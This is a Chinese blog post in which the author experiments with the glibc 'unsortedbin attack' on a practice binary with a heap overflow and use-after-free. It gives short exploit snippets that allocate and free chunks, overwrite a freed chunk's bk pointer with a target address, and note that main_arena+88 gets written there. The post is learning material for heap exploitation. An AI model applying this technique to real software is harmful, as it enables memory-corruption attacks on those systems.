尝试一下unsorebin-attack

探探unsortedbin-attack

前言:看着都说这个只能改大小没啥用,但是处于务实精神,还是要自己手动试一试的,找了一个存在堆溢出+uaf的来改着试试看看。正好再偷个小懒

  • 原理是wiki写的这个,都说很简单,但我还是感觉迷迷糊糊的,到底哪儿跟哪儿啊。。(据说bck是下一个块,也就是我这里的3号块)
    在这里插入图片描述
    先创了几个块,这里注意要将准备free为unsortedbin的块分开,否则会被合并掉,问就是试过(
creat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x90,b'AAAAA')#3
creat(0x60,b'A')#4
free(1)
free(3)
debug()

在这里插入图片描述
看了看,实际上这样就行,而且必须要全部用掉,否则如果切出来smallbin的块后会报错导致程序中断。(具体因为什么检测还不太清楚)

creat(0x60,b'AAAAAA')#0
creat(0x80,b'AAAAAA')#1
creat(0x60,b'AAAAA')#2
creat(0x90,b'AAAAA')#3
creat(0x60,b'A')#4
free(1)
#free(3)
#debug()
edit(1,p64(0)+p64(0x602500))
#debug()
creat(0x80,b'BB')#5

在这里插入图片描述
另外:明明fd、bk都被我改掉了,那怎么找到的对应的块。
猜测:通过arena索引到的块进行的分配
原因:bck(伪造的bk地址)->fd的位置被分配了main_arena+88的地址。
在这里插入图片描述

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值